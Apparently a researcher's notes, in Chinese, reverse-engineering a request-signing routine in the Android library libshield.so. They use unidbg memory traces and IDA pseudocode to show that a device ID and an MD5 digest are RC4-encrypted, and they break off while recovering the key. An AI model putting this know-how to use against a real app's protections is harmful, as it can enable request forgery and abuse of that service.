[14:16:38 419]x0=unidbg@0xbffff530, md5=5192356b16181dc583c59dd2f7302705, hex=9031454000000000803145400000000010e058400000000000e05840000000009031454000000000803145400000000018a0454000000000389045400000000010e058400000000000e05840000000003831454000000000383145400000000008314540000000000000000000000000
size: 112
0000: 90 31 45 40 00 00 00 00 80 31 45 40 00 00 00 00 .1E@.....1E@....
0010: 10 E0 58 40 00 00 00 00 00 E0 58 40 00 00 00 00 ..X@......X@....
0020: 90 31 45 40 00 00 00 00 80 31 45 40 00 00 00 00 .1E@.....1E@....
0030: 18 A0 45 40 00 00 00 00 38 90 45 40 00 00 00 00 ..E@....8.E@....
0040: 10 E0 58 40 00 00 00 00 00 E0 58 40 00 00 00 00 ..X@......X@....
0050: 38 31 45 40 00 00 00 00 38 31 45 40 00 00 00 00 81E@....81E@....
0060: 08 31 45 40 00 00 00 00 00 00 00 00 00 00 00 00 .1E@............
^-----------------------------------------------------------------------------^
为了验证是不是命中对应的sub_49650的位置,搜索x0=0xbffff530,找到了调用sub_49650的逻辑,故确认是这里
[09:33:31 914][libshield.so 0x0bce40] [e0030191] 0x400bce40: \\"add x0, sp, #0x40\\" sp=0xbffff4f0 => x0=0xbffff530
[09:33:31 914][libshield.so 0x0bce44] [0332fe97] 0x400bce44: \\"bl #0x40049650\\"
解释: x0=unidbg@0xbffff530 和 x1=RW@0x40593000的区别?
unidbg@0xbffff530 表示该寄存器的值是一个指向内存地址的指针,需要读取内存中的内容拿到该指针指向的内存地址(小端序) -> 0x40453190
0xbffff530 是一个十六进制表示的内存地址,可能是一个函数调用栈中的某个位置,或者是一个特定的内存区域。
故 m0x40453190拿到指针指向的内容
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[14:29:03 639]RW@0x40453190, md5=3df7798f10b205454d00aa228ccb2704, hex=18581040000000000100000001000000530000005300000060e04540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: 18 58 10 40 00 {00 00 00 01 00 00 00 01 00 00 00 .X.@............
0010: 53 00 00 00 53} 00 00 00 60 E0 45 40 00 00 00 00 S...S...`.E@....
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
这里就是前十六字节具体的来源了,大括号括起来的就是前十六字节,需要通过trace(0x40453196, 0x40453196 + 16)查看一下具体咋生成的
[14:38:38 180] Memory WRITE at 0x40453198, data size = 4, data value = 0x00000001, PC=RX@0x400492f0[libshield.so]0x492f0, LR=RX@0x400492ec[libshield.so]0x492ec
[14:38:38 181] Memory WRITE at 0x4045319c, data size = 4, data value = 0x00000001, PC=RX@0x400492f0[libshield.so]0x492f0, LR=RX@0x400492ec[libshield.so]0x492ec
[14:38:38 181] Memory WRITE at 0x404531a4, data size = 4, data value = 0x00000053, PC=RX@0x4004930c[libshield.so]0x4930c, LR=RX@0x400492ec[libshield.so]0x492ec
[14:38:38 184] Memory WRITE at 0x404531a0, data size = 4, data value = 0x00000053, PC=RX@0x40049574[libshield.so]0x49574, LR=RX@0x40049570[libshield.so]0x49570
依旧通过PC或者LR去查看一下代码执行的地方和执行完跳转回去的地方。
查看IDA代码片段 4个部分 前两部分都是写死赋值为1 后两部分都基于v7,v7与如下a1参数有关 v7 = (unsigned int)(*(_DWORD *)(*a1 + 20LL) + *(_DWORD *)(*a1 + 24LL) + *(_DWORD *)(*a1 + 28LL) + 24);
void __usercall sub_4926C(_QWORD *a1@<X0>, _QWORD *a2@<X8>)
v5 = (_DWORD *)*a2;
v5[2] = 1;
v5[3] = 1;
v6 = a1;
v7 = (unsigned int)((_DWORD *)(*a1 + 20LL) + *(_DWORD *)(*a1 + 24LL) + *(_DWORD *)(*a1 + 28LL) + 24);
v5[5] = v7;
v20 = (_DWORD *) * a2;
*(_QWORD *)(*a2 + 24LL) = v19;
sub_51698(v21, 13LL, & qword_10B508);
sub_511E0(v21, (unsigned int)
v7, v8, v19);
v20[4] = v7;
于是打断点sub_4926C拿到x0的参数 查看trace确认该函数只在0xBCD6C处调用(多次调用的地方记得反复翻阅trace确认寻找命中点)
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[14:59:38 020]x0=unidbg@0xbffff540, md5=43d7feda9b1b909b055506e5e5fc9dbf, hex=10e058400000000000e058400000000078792d0000000000f0f4ffbf0000000018a0454000000000389045400000000010e058400000000000e0584000000000383145400000000038314540000000000831454000000000000000000000000000000000000000006030454000000000
size: 112
0000: 10 E0 58 40 00 00 00 00 00 E0 58 40 00 00 00 00 ..X@......X@....
0010: 78 79 2D 00 00 00 00 00 F0 F4 FF BF 00 00 00 00 xy-.............
0020: 18 A0 45 40 00 00 00 00 38 90 45 40 00 00 00 00 ..E@....8.E@....
0030: 10 E0 58 40 00 00 00 00 00 E0 58 40 00 00 00 00 ..X@......X@....
0040: 38 31 45 40 00 00 00 00 38 31 45 40 00 00 00 00 81E@....81E@....
0050: 08 31 45 40 00 00 00 00 00 00 00 00 00 00 00 00 .1E@............
0060: 00 00 00 00 00 00 00 00 60 30 45 40 00 00 00 00 ........`0E@....
^-----------------------------------------------------------------------------^
根据之前了解的规则,x0=unidbg@0xbffff540这里依旧是一个指针 指向0x4058e010(小端序) 通过m0x4058e010拿到如下内容 (不要忘了这里是为了追溯与v7相关的参数a1,拿到53这个值)
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[15:01:21 051]RW@0x4058e010, md5=b6a05095480f6c61e02ef52ea62aad46, hex=38581040000000000100000001affaec020000000700000024000000100000001070454000000000503145400000000000e04740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: 38 58 10 40 00 00 00 00 01 00 00 00 01 AF FA EC 8X.@............
0010: 02 00 00 00 07 00 00 00 24 00 00 00 10 00 00 00 ........$.......
0020: 10 70 45 40 00 00 00 00 50 31 45 40 00 00 00 00 .pE@....P1E@....
0030: 00 E0 47 40 00 00 00 00 00 00 00 00 00 00 00 00 ..G@............
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
思考(*(*a1 + 20LL) + *(*a1 + 24LL) + *(a1 + 28LL) + 24);这行代码的结果是0x53怎么来的? 由刚才的操作我们已经知道了a1就是上述这片内存区域了,直接取如上位置对应值进行计算看
是否为53即可(验证是写死的还是变化的)
10+0+50+24 -> 84 -> 0x54(看样子是写死的,继续分析其本质是啥)
*******************************(细节探索)
继续分析指针指向的地址0x4058e010看看是什么东西 -> emulator.traceWrite(0x4058e024,0x4058e024+9);(目的是查看20 24 28这三个位置的内容)
[15:16:33 394] Memory WRITE at 0x4058e024, data size = 4, data value = 0x00000007, PC=RX@0x40049138[libshield.so]0x49138, LR=RX@0x40049128[libshield.so]0x49128
[15:16:33 395] Memory WRITE at 0x4058e028, data size = 4, data value = 0x00000024, PC=RX@0x40049154[libshield.so]0x49154, LR=RX@0x40049140[libshield.so]0x49140
[15:16:33 395] Memory WRITE at 0x4058e02c, data size = 4, data value = 0x00000010, PC=RX@0x40049160[libshield.so]0x49160, LR=RX@0x4004915c[libshield.so]0x4915c
IDA查看0x49154 -> 地址为0xBCCDC 查询a2 a5 a7 -> mx1 mx4 mx5
void *__usercall sub_4908C@<X0>( int a1@<W0>,const char **a2@<X1>,int a3@<W2>,int a4@<W3>,const char **a5@<X4>,const void *a6@<X5>,unsigned int a7@<W6>,__int64 *a8@<X8>)
略...
\\n\\n-----------------------------------------------------------------------------<
\\n
[15:39:38 557]RW@0x4045a018, md5=852c37585df595b765f26ab3730bbe86, hex=33393932336533632d366336652d333839312d393435612d66643033633437393665623300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: 33 39 39 32 33 65 33 63 2D 36 63 36 65 2D 33 38 39923e3c-6c6e-38
0010: 39 31 2D 39 34 35 61 2D 66 64 30 33 63 34 37 39 91-945a-fd03c479
0020: 36 65 62 33 00 00 00 00 00 00 00 00 00 00 00 00 6eb3............
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^ 这里是deviceid
5.后0x53字节(继续之前的日志)
[11:42:15 779] Memory WRITE at 0x40593010, data size = 8, data value = 0x1b521b31ed111635, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 779] Memory WRITE at 0x40593018, data size = 8, data value = 0x523a8ba0fadcdf0f, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 779] Memory WRITE at 0x40593020, data size = 8, data value = 0xe346e96b453b9986, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 779] Memory WRITE at 0x40593028, data size = 8, data value = 0x41a44c50e17e0d7e, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593030, data size = 8, data value = 0x9d1f64e39db28dcc, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593038, data size = 8, data value = 0xd522c3cf0ae6acfe, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593040, data size = 8, data value = 0x180c4137a6d87ecc, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593048, data size = 8, data value = 0x2dd5f3bf378b6545, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593050, data size = 8, data value = 0x651c903d3ce7d435, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593058, data size = 8, data value = 0xa52b0c3aec0e552b, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593053, data size = 8, data value = 0x0e552b651c903d3c, PC=RX@0x4028c1a4[libc.so]0x1c1a4, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x4059305b, data size = 8, data value = 0x10cad6 a52b0c3aec, PC=RX@0x4028c1a4[libc.so]0x1c1a4, LR=RX@0x400497dc[libshield.so]0x497dc
通过LR返回的地址0x497dc 发现memcpy(v10 + 16, *(const void **)(v4 + 24), v14); 需要据此溯源找到原本的位置
查看trace[09:33:31 927][libshield.so 0x0497d8] [f622ff97] 0x400497d8: \\"bl #0x400123b0\\" -> 0x497d8的参数
void memcpy(voiddest, const void *src, size_t n); src源地址
mx1结果如下 每8个字节小端序与上述trace日志对比一致
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[16:17:11 469]x1=RW@0x4045e060, md5=4a9f34aa55fe47d93444292936fbe440, hex=351611ed311b521b0fdfdcfaa08b3a5286993b456be946e37e0d7ee1504ca441cc8db29de3641f9dfeace60acfc322d5cc7ed8a637410c1845658b37bff3d52d35d4e73c3d901c652b550eec3a0c2ba5d6ca100000000000000000000000000000000000000000000000000000000000
size: 112
0000: 35 16 11 ED 31 1B 52 1B 0F DF DC FA A0 8B 3A 52 5...1.R.......:R
0010: 86 99 3B 45 6B E9 46 E3 7E 0D 7E E1 50 4C A4 41 ..;Ek.F..PL.A
0020: CC 8D B2 9D E3 64 1F 9D FE AC E6 0A CF C3 22 D5 .....d........\\".
0030: CC 7E D8 A6 37 41 0C 18 45 65 8B 37 BF F3 D5 2D .~..7A..Ee.7...-
0040: 35 D4 E7 3C 3D 90 1C 65 2B 55 0E EC 3A 0C 2B A5 5..<=..e+U..:.+.
0050: D6 CA 10 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
trace(0x4045e060,0x4045e060+83) 查看这83字节具体生成的方式
16:23:39 690] Memory WRITE at 0x4045e060, data size = 1, data value = 0x35, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 690] Memory WRITE at 0x4045e061, data size = 1, data value = 0x16, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 690] Memory WRITE at 0x4045e062, data size = 1, data value = 0x11, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 690] Memory WRITE at 0x4045e063, data size = 1, data value = 0xed, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 690] Memory WRITE at 0x4045e064, data size = 1, data value = 0x31, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 690] Memory WRITE at 0x4045e065, data size = 1, data value = 0x1b, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 690] Memory WRITE at 0x4045e066, data size = 1, data value = 0x52, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 690] Memory WRITE at 0x4045e067, data size = 1, data value = 0x1b, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e068, data size = 1, data value = 0x0f, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e069, data size = 1, data value = 0xdf, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e06a, data size = 1, data value = 0xdc, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e06b, data size = 1, data value = 0xfa, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e06c, data size = 1, data value = 0xa0, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e06d, data size = 1, data value = 0x8b, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e06e, data size = 1, data value = 0x3a, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e06f, data size = 1, data value = 0x52, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e070, data size = 1, data value = 0x86, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e071, data size = 1, data value = 0x99, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e072, data size = 1, data value = 0x3b, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e073, data size = 1, data value = 0x45, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e074, data size = 1, data value = 0x6b, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e075, data size = 1, data value = 0xe9, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e076, data size = 1, data value = 0x46, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e077, data size = 1, data value = 0xe3, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 691] Memory WRITE at 0x4045e078, data size = 1, data value = 0x7e, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e079, data size = 1, data value = 0x0d, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e07a, data size = 1, data value = 0x7e, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e07b, data size = 1, data value = 0xe1, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e07c, data size = 1, data value = 0x50, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e07d, data size = 1, data value = 0x4c, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e07e, data size = 1, data value = 0xa4, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e07f, data size = 1, data value = 0x41, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e080, data size = 1, data value = 0xcc, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e081, data size = 1, data value = 0x8d, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e082, data size = 1, data value = 0xb2, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e083, data size = 1, data value = 0x9d, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e084, data size = 1, data value = 0xe3, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e085, data size = 1, data value = 0x64, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e086, data size = 1, data value = 0x1f, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e087, data size = 1, data value = 0x9d, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e088, data size = 1, data value = 0xfe, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e089, data size = 1, data value = 0xac, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e08a, data size = 1, data value = 0xe6, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e08b, data size = 1, data value = 0x0a, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e08c, data size = 1, data value = 0xcf, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e08d, data size = 1, data value = 0xc3, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e08e, data size = 1, data value = 0x22, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e08f, data size = 1, data value = 0xd5, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e090, data size = 1, data value = 0xcc, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e091, data size = 1, data value = 0x7e, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e092, data size = 1, data value = 0xd8, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e093, data size = 1, data value = 0xa6, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e094, data size = 1, data value = 0x37, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e095, data size = 1, data value = 0x41, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e096, data size = 1, data value = 0x0c, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e097, data size = 1, data value = 0x18, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e098, data size = 1, data value = 0x45, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e099, data size = 1, data value = 0x65, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 692] Memory WRITE at 0x4045e09a, data size = 1, data value = 0x8b, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e09b, data size = 1, data value = 0x37, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e09c, data size = 1, data value = 0xbf, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e09d, data size = 1, data value = 0xf3, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e09e, data size = 1, data value = 0xd5, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e09f, data size = 1, data value = 0x2d, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a0, data size = 1, data value = 0x35, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a1, data size = 1, data value = 0xd4, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a2, data size = 1, data value = 0xe7, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a3, data size = 1, data value = 0x3c, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a4, data size = 1, data value = 0x3d, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a5, data size = 1, data value = 0x90, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a6, data size = 1, data value = 0x1c, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a7, data size = 1, data value = 0x65, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a8, data size = 1, data value = 0x2b, PC=RX@0x4005126c[libshield.so]0x5126c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0a9, data size = 1, data value = 0x55, PC=RX@0x400512ac[libshield.so]0x512ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0aa, data size = 1, data value = 0x0e, PC=RX@0x400512ec[libshield.so]0x512ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0ab, data size = 1, data value = 0xec, PC=RX@0x4005132c[libshield.so]0x5132c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0ac, data size = 1, data value = 0x3a, PC=RX@0x4005136c[libshield.so]0x5136c, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0ad, data size = 1, data value = 0x0c, PC=RX@0x400513ac[libshield.so]0x513ac, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0ae, data size = 1, data value = 0x2b, PC=RX@0x400513ec[libshield.so]0x513ec, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0af, data size = 1, data value = 0xa5, PC=RX@0x40051424[libshield.so]0x51424, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0b0, data size = 1, data value = 0xd6, PC=RX@0x40051490[libshield.so]0x51490, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0b1, data size = 1, data value = 0xca, PC=RX@0x400514d8[libshield.so]0x514d8, LR=RX@0x40049570[libshield.so]0x49570
[16:23:39 693] Memory WRITE at 0x4045e0b2, data size = 1, data value = 0x10, PC=RX@0x40051520[libshield.so]0x51520, LR=RX@0x40049570[libshield.so]0x49570
通过PC找到了RC4加密函数_DWORD *__fastcall sub_511E0(_DWORD *result, unsigned int a2, _BYTE *a3, _BYTE *a4) -> 调用地址0x04956C
result -> S-box(256)
a2 -> 秘钥长度或操作模式(应该函数内部定义传参) mx2拿不到
a3 -> 明文数据的指针(入参)
a4 -> 密文数据的指针
RC4的加密前的数据如下(对此进行RC4加密) 在分析前十六位字节的本质时候也遇到过
size: 112 (其中后十六位是md5加密)
0000: 00 00 00 01 EC FA AF 01 00 00 00 02 00 00 00 07 ................
0010: 00 00 00 24 00 00 00 10 38 33 32 30 36 38 39 33 ...$....83206893
0020: 39 39 32 33 65 33 63 2D 36 63 36 65 2D 33 38 39 9923e3c-6c6e-389
0030: 31 2D 39 34 35 61 2D 66 64 30 33 63 34 37 39 36 1-945a-fd03c4796
0040: 65 62 33 A9 EC EC C3 C7 90 C4 E7 78 41 37 63 F3 eb3........xA7c.
0050: F5 3D AB 00 00 00 00 00 00 00 00 00 00 00 00 00 .=..............
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
在cyberchef中使用 from hexdump + rc4 + to hexdump 三个模块就能直观看到加密的效果,但是还缺少rc4的加密key,因此接下来的关键是分析sub_511E0
拿到加密key
再次分析sub_511E0 发现result参数 是一个指向 RC4 状态数组的指针,通常用于存储 RC4 算法的内部状态。RC4 算法的核心是一个 256 字节的 S 盒(S-box),用于生成伪随机流,与明文进行异或操作以实现加密或解密。
打印断点输出mx0 得到result传参 rc4的S-box通常长度为256
\\n\\n-----------------------------------------------------------------------------<
\\n
[22:36:26 337]x0=unidbg@0xbffff090, md5=5236eb5b920a73ee6795b593a28b7cf0, hex=00000000000000007c0000002e0000000e0000003d0000000900000032000000e30000001c00000087000000c9000000b30000002d000000b10000002b000000dd000000200000000b000000c3000000280000005c0000000f0000007b00000012000000530000000c0000002f000000
size: 112
0000: 00 00 00 00 00 00 00 00 7C 00 00 00 2E 00 00 00 ........|.......
0010: 0E 00 00 00 3D 00 00 00 09 00 00 00 32 00 00 00 ....=.......2...
0020: E3 00 00 00 1C 00 00 00 87 00 00 00 C9 00 00 00 ................
0030: B3 00 00 00 2D 00 00 00 B1 00 00 00 2B 00 00 00 ....-.......+...
0040: DD 00 00 00 20 00 00 00 0B 00 00 00 C3 00 00 00 .... ...........
0050: 28 00 00 00 5C 00 00 00 0F 00 00 00 7B 00 00 00 (..........{...
